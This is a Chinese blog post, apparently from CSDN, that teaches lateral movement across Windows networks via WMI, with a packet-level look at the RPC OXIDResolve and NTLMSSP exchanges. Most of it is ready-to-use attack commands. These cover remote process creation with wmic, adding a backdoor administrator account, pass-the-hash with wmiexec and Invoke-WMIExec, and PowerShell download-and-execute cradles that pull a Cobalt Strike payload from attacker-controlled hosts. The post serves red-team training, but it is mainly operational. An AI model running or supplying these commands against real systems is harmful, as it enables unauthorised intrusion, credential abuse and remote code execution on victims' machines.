利用WMI横向移动

一. WMI介绍和使用

1. WMI介绍

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议, 在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用WMI 进行攻击。
在这里插入图片描述
但是微软于 2016 年在 Windows Server 中弃用了 WMIC;于 2021 年在 Windows 10 系统中弃用了 WMIC,而且自 Windows 11 的下个版本开始,后续版本将默认禁用该工具。最终,微软将从未来的 Windows 版本中移除 WMIC。

在这里插入图片描述

微软用 Windows PowerShell for WMI 取代了 WMIC(WMIC 和 WMI 是两码事),为管理员提供了一种更有效的方式来查询 Windows Management Instrumentation。

但是在内网中还是有大部分使用的是server 2016之前的版本,所有该方法还有效!

2. 使用方法
1、执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt" 
2、列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
3、在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\test.bat
4、添加用户
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
5、执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c\"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

其实命令还有很多…
在这里插入图片描述
在这里插入图片描述

二. RPC协议分析 - OXIDResolve接口

DCERPC是一个非常基础的Windows系统的通信协议。 DCERPC比RDP协议更普遍,默认开启,内容丰富,接口众多,早期的安全人员在其基础上写了很多蠕虫病毒,DCERPC的默认端口是135,上面承载了包含WMI,认证包括ntlm挑战相应,甚至还能获取网卡IP地址列表。

接下来分析一下RPC协议中都包含了什么内容,这个对于进行安全研究有着很大的帮助!

    1. 首先使用WMI进行远程连接机器然后抓包分析
      在这里插入图片描述
    1. 分析第一个数据包,第一个数据包表明了利用RPC协议即将调用的接口,是OXIDResolve
      在这里插入图片描述
    1. 分析第二个数据包,是目标机器返回的数据包,里面包含了确认信息,没有关键的东西
      在这里插入图片描述
    1. 分析第三个数据包,利用dcom发起OXID接口的请求数据包
      在这里插入图片描述
    1. 分析第四个数据包,OXID接口返回的数据,非常重要,里面包含了,工作组名字,域名,IP地址(所有网卡的IP地址)IPV6地址等
      在这里插入图片描述

总结
从以上数据包得知:

该接口是未授权访问(并没有使用smb进行认证,只是使用RDP调用了OXID接口)
可以得到目标机器的相关信息(机器名IP多网卡等)

该技术应用非常广泛,如今FOFA GOBY ,国内红队大部分扫描器就都开始集成这个功能,甚至集成到了CS还有很多人写的脚本

三. RPC协议分析 - NTLMSSP协议

NtLmSsp这个服务主要针对RPC(远程过程调用),通常RPC可以选择基于两种通信方式,一种是传输协议,比如TCP/IP、UDP、IPX等,另一种为命名管道(Pipeline)。通常情况下Windows默认选择都是传输协议,而由于RPC是采用非加密传输的,通信数据安全无法得到保证,而NtLmSsp就可向这一类RPC提供安全服务。

接着分析数据包:

  • 1.第一个数据包是发送给目标机器的,包含了认证方式NTLM,还有即将请求的接口类型
    在这里插入图片描述

    1. 第二个数据包:因为该接口是远程调用接口,需要进行认证,这里使用NTLM挑战相应认证,所以数据包是challenge值,并且包含了自己的主机的相关信息,包含了域名,电脑名,DNS域名,还有DNS电脑名
      在这里插入图片描述
    1. 第三个数据包:第三个数据包是response值,用于认证
      在这里插入图片描述
    1. 第四个数据包:认证成功之后接着远程调用isystemactivator接口的remotecreateinstance函数作用是为实际对象创建对象引用
      在这里插入图片描述

四. WMI横向的利用条件

使用条件如下:
1、wmic命令需要本地管理员或域管理员权限(有UAC也可以)
2、135端口开放
3、开放445(某些脚本需要借助SMB认证)
在这里插入图片描述

五. 利用WMI众多工具进行CS上线

1、直接利用自带的wmic的命名上线
  • 第一步:先在本地用python开启一个http服务,,方便接下来测试CS上线
    在这里插入图片描述

    命令:
    wmic /NODE:192.168.41.20 /user:administrator /password:Admin123 PROCESS call create “powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.41.143:2349/payload_x64.ps1’))””

成功上线
在这里插入图片描述

2. wmicexec工具

使用方法:

wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP 

其实工具上线步骤都相同
先上传WMICEXEC

在这里插入图片描述

后输入

wmiexec.exe administrator:Admin123@192.168.41.20 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"

在这里插入图片描述

该工具因为还走了一些SMB认证和访问共享等行为,杀软会拦截

在这里插入图片描述

3. wmiexec.vbs脚本

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式

在这里插入图片描述

使用方法:

cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令“ 
上线:
cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.20 administrator Admin123 "powershell.exe - nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"

在这里插入图片描述

4. Invoke-WMIExec

Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下:

Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" –verbo

步骤

powershell-import powershell/Invoke-WMIExec.ps1
powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -verbose

在这里插入图片描述
在这里插入图片描述

  • 9
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值